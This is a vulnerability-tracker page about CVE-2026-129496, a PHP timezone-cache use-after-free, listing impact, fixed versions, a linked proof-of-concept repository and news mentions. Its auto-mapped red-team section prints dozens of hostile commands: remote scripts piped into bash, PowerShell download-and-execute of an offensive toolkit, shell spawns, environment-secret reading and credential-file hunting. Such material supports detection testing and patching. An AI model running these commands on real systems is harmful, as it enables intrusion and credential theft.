CVE-2026-129496
Overview
This vulnerability is a use-after-free memory corruption affecting the timezone cache in non-thread-safe builds of PHP. The root cause is the improper management of allocated startup memory for the timezone cache, which is freed while references remain active. The flaw resides in the PHP module initialization process, specifically related to error_log diagnostics and session configuration warnings that trigger cache allocation and premature freeing.
Vulnerability Description
Timezone cache use-after-free can lead to remote code execution. In non-thread-safe builds, a diagnostic written to a file-based error_log during module startup, for example for an invalid date.timezone value or a session configuration warning, causes the timezone cache to be allocated in startup memory that is freed while a reference to it is kept. A diagnostic raised early in the first request of a worker, such as the max_input_vars warning, then accesses the freed cache. On such a deployment an unauthenticated remote attacker can crash PHP-FPM, Apache mod_php or CGI workers with a crafted request. Arbitrary code execution may be possible and has been demonstrated with known memory addresses. This issue affects PHP versions before 8.2.36, 8.3.* before 8.3.37, 8.4.* before 8.4.28 and 8.5.* before 8.5.13.
Impact
An unauthenticated remote attacker can exploit this vulnerability to crash PHP worker processes, causing denial of service. More critically, the use-after-free condition enables arbitrary code execution with known memory addresses, potentially resulting in full system compromise. No user interaction or authentication is required, making exploitation feasible in exposed PHP environments running vulnerable versions.
Solution
Apply the updates provided by the PHP Group as detailed in their security advisory GHSA-gr4f-wgx5-jpfv available at https://github.com/php/php-src/security/advisories/GHSA-gr4f-wgx5-jpfv. Specifically, upgrade PHP to versions 8.2.36 or later, 8.3.37 or later, 8.4.28 or later, or 8.5.13 or later. Follow the vendor's patch instructions to ensure the timezone cache use-after-free is resolved in your deployment.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
abraxas/php-tzcache-rce
CVE-2026-129496 - PHP - Critical: 9.2 - Remote - RCE - timezone cache use-after-free. No password. A startup warning log...
|
abraxas | 2 | 2 | 2026-11-19 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (35)
35 mentions from 25 sources in the last 7 days BuzzFactor 96 / 100
-
social bsky.app @cvemon.bsky.social 2026-11-20 13:07 UTCCVE-2026-129496 is trending. Hype score 22, currently #2 on cvemon. Timezone cache use-after-free can lead to remote code execution. In non-thread-safe builds, a diagnostic written to a file-based error_log during module startup, for examp…Open source
-
code github.com LLCForge 2026-11-20 11:25 UTCLLCForge/CVE-2026-129496Open source
-
social bsky.app @merrua.bsky.social 2026-11-20 10:44 UTCphpunit.expert/articles/the...Open source
-
news techzine.eu 2026-11-20 10:32 UTCPHP security updates fix 18 vulnerabilities - Techzine GlobalOpen source
-
news biz.chosun.com 2026-11-20 04:26 UTCPHP releases security updates for 17 flaws, including 7 critical vulnerabilities - ChosunbizOpen source
-
news hkcert.org 2026-11-20 02:39 UTCPHP Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
news rescana.com 2026-11-19 23:15 UTCPHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 Fix 17 Flaws; PHP 8.6.0 Ships: Patch Now - RescanaOpen source
-
news ox.security 2026-11-19 21:43 UTCThe 2026 Vulnpocalypse Hits PHP: Four Critical RCEs, but How Dangerous Are They? - OX SecurityOpen source
-
news blog.checkpoint.com 2026-11-19 19:12 UTCNew PHP Vulnerabilities: What Organizations Need to Know and How Check Point Customers Are Protected - Check Point BlogOpen source
-
news mlq.ai 2026-11-19 19:08 UTCPHP patches 18 flaws across all supported versions, including seven critical bugs that can allow remote code execution - MLQ.aiOpen source
-
social bsky.app @getpagespeed.bsky.social 2026-11-19 18:38 UTCPHP November 2026 Security Release: Patched PHP for CentOS 7, CentOS 6, Amazon Linux 2, Ubuntu and Debian PHP's November 19, 2026 security release (CVE-2026-129496 and siblings) fixes seven critical bugs, upstream only for 8.2 and newer. P…Open source
-
social bsky.app @isotopp.infosec.exchange.ap.brid.gy 2026-11-19 18:33 UTC@jschauma phpunit.expert/articles/the…Open source
-
code github.com abraxas 2026-11-19 18:23 UTCabraxas/php-tzcache-rceOpen source
-
news shiftdelete.net 2026-11-19 16:56 UTCPHP 8.5.13, 8.4.28, 8.3.37, 8.2.36 Fix Critical Security Bugs - ShiftDelete.NetOpen source
-
social bsky.app 2026-11-19 16:50 UTCCVE-2026-129496 - php8.4 Versions of PHP 8.2, 8.3, 8.4 and 8.5 before their latest patches can mishandle a timezone cache during startup, allowing a specially crafted web request to cause the server… Too many irrelevant or confusing CVEs?…Open source
-
news bleepingcomputer.com 2026-11-19 16:28 UTCPHP security updates fix 18 flaws, including critical RCE bugs - BleepingComputerOpen source
-
code gist.github.com yusuke-fujioka 2026-11-19 16:16 UTC#!/bin/bash # PHP 2026-11-19 セキュリティリリース 設定チェック(読み取り専用) # 対応環境: cPanel(ea-php) / CloudLinux(alt-php) / Plesk / Ubuntu標準PHP-FPM を自動検出 # 使い方: bash php-check-20261119.sh 通常チェック # bash php-check-20261119.sh --scan-home ユーザー領域の .user.ini 等も走査(時間…Open source
-
news demokratis.co.id 2026-11-19 16:13 UTCPHP Patches Critical Flaws That Enable Remote Code Execution - Demokratis.co.idOpen source
-
news securityweek.com 2026-11-19 15:54 UTCPHP Patches Seven Critical RCE Vulnerabilities - SecurityWeekOpen source
-
news cybernews.com 2026-11-19 15:49 UTCPHP plagued by critical RCE vulnerabilities again as security patches released for all branches - CybernewsOpen source
-
news infosecurity-magazine.com 2026-11-19 15:28 UTCPHP Releases Patches to Fix 18 Vulnerabilities - Infosecurity MagazineOpen source
-
social mastox.eu @116996372580318764 2026-11-19 15:16 UTCPHP 8.5.13 has finally been released today on November 19, fixes 13 (yes 13) security vulnerabilities including several RCE (remote code execution) ones. The memory corruption fixes include use-after-free bugs in magic method backtraces an…Open source
-
news thehackernews.com 2026-11-19 15:13 UTCPHP Fixes 7 Critical Flaws, Including Bugs That Could Allow Remote Code Execution - The Hacker NewsOpen source
-
social mastox.eu @116996372580318764 2026-11-19 15:13 UTCPHP 8.5.13 has finally been released November 19, fixes 13 (yes 13) security vulnerabilities including several RCE (remote code execution) ones. The memory corruption fixes include use-after-free bugs in magic method backtraces and time zo…Open source
-
social bsky.app @isotopp.infosec.exchange.ap.brid.gy 2026-11-19 15:08 UTCphpunit.expert/articles/the… Der PHP Bug von heute (9.2/10) ist echt faszinierend, und wie er gefunden wurde noch mehr. Die Menge an Qualitätskontrolle, die in PHP rein geht ist großartig.Open source
-
social bsky.app @yukotan.bsky.social 2026-11-19 15:05 UTC・CVE-2026-129496:タイムゾーンキャッシュの解放済みメモリを参照し、RCEにつながる脆弱性 -> date.timezone が適切に設定されているなら通常はいける ・CVE-2026-126714:セッションファイルの不完全な上書きによるRCE -> session .save_handler=files の場合が対象 -> session.upload_progress.enabled=0 が効く 上記は暫定対応なので、アプデは必ずしてください。 レンタル…Open source
-
social infosec.exchange @117202824925377048 2026-11-19 14:51 UTCPHP security releases are out: https://www. php.net/archive/2026.php#2026- 11-19-4 Core has two use-after-frees, CVE-2026-129474 and CVE-2026-129182 that are 9.2 critical Date has a use-after-free CVE-2026-129496 at 9.2 critical FPM has re…Open source
-
news cybersecuritynews.com 2026-11-19 14:47 UTCPHP Warns of Critical Security Flaws Affecting All Supported Versions, Urges Users to Update - CyberSecurityNewsOpen source
-
social infosec.exchange @116797276219291526 2026-11-19 14:37 UTCPHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 fix 12 flaws, including PHP-FPM request smuggling RCE CVE-2026-129289 and CVE-2026-129496. Patch now. # PHP # PHPFPM # RCE # CVE2026129289 # PatchNow # CyberSecurity # InfoSec https:// securityonline.i…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-19 14:37 UTCPHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 fix 12 flaws, including PHP-FPM request smuggling RCE CVE-2026-129289 and CVE-2026-129496. Patch now. #PHP #PHPFPM #RCE #CVE2026129289 #PatchNow #CyberSecurity #InfoSecOpen source
-
social infosec.exchange @116797276219291526 2026-11-19 14:36 UTCPHP security vulnerabilities November 2026 release patches 12 PHP security vulnerabilities, including CVE-2026-129289 and CVE-2026-129496. Upgrade now. # PHP # CyberSecurity # CVE2026129289 # CVE2026129496 # CVE2026115560 # InfoSec https:/…Open source
-
social infosec.exchange @116810780845358081 2026-11-19 14:36 UTC🚨 BREAKING: PHP HAS PATCHED 13 SECURITY VULNERABILITIES, INCLUDING MULTIPLE FLAWS THAT COULD LEAD TO REMOTE CODE EXECUTION. PHP 8.5.13, released on November 19, fixes serious memory corruption vulnerabilities, including use-after-free bugs…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-19 14:35 UTCPHP security vulnerabilities November 2026 release patches 12 PHP security vulnerabilities, including CVE-2026-129289 and CVE-2026-129496. Upgrade now. #PHP #CyberSecurity #CVE2026129289 #CVE2026129496 #CVE2026115560 #InfoSecOpen source
-
social mastox.eu @116996372580318764 2026-11-19 14:28 UTC🚨 BREAKING: PHP HAS PATCHED 13 SECURITY VULNERABILITIES, INCLUDING MULTIPLE FLAWS THAT COULD LEAD TO REMOTE CODE EXECUTION. PHP 8.5.13, released on November 19, fixes serious memory corruption vulnerabilities, including use-after-free bugs…Open source
-
news blog.checkpoint.com 2026-11-19 12:12 UTCNew PHP Vulnerabilities: What Organizations Need to Know and How Check Point Customers Are Protected - Check Point BlogOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-129496 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/php/php-src/security/advisories/GHSA-gr4f-wgx5-jpfv |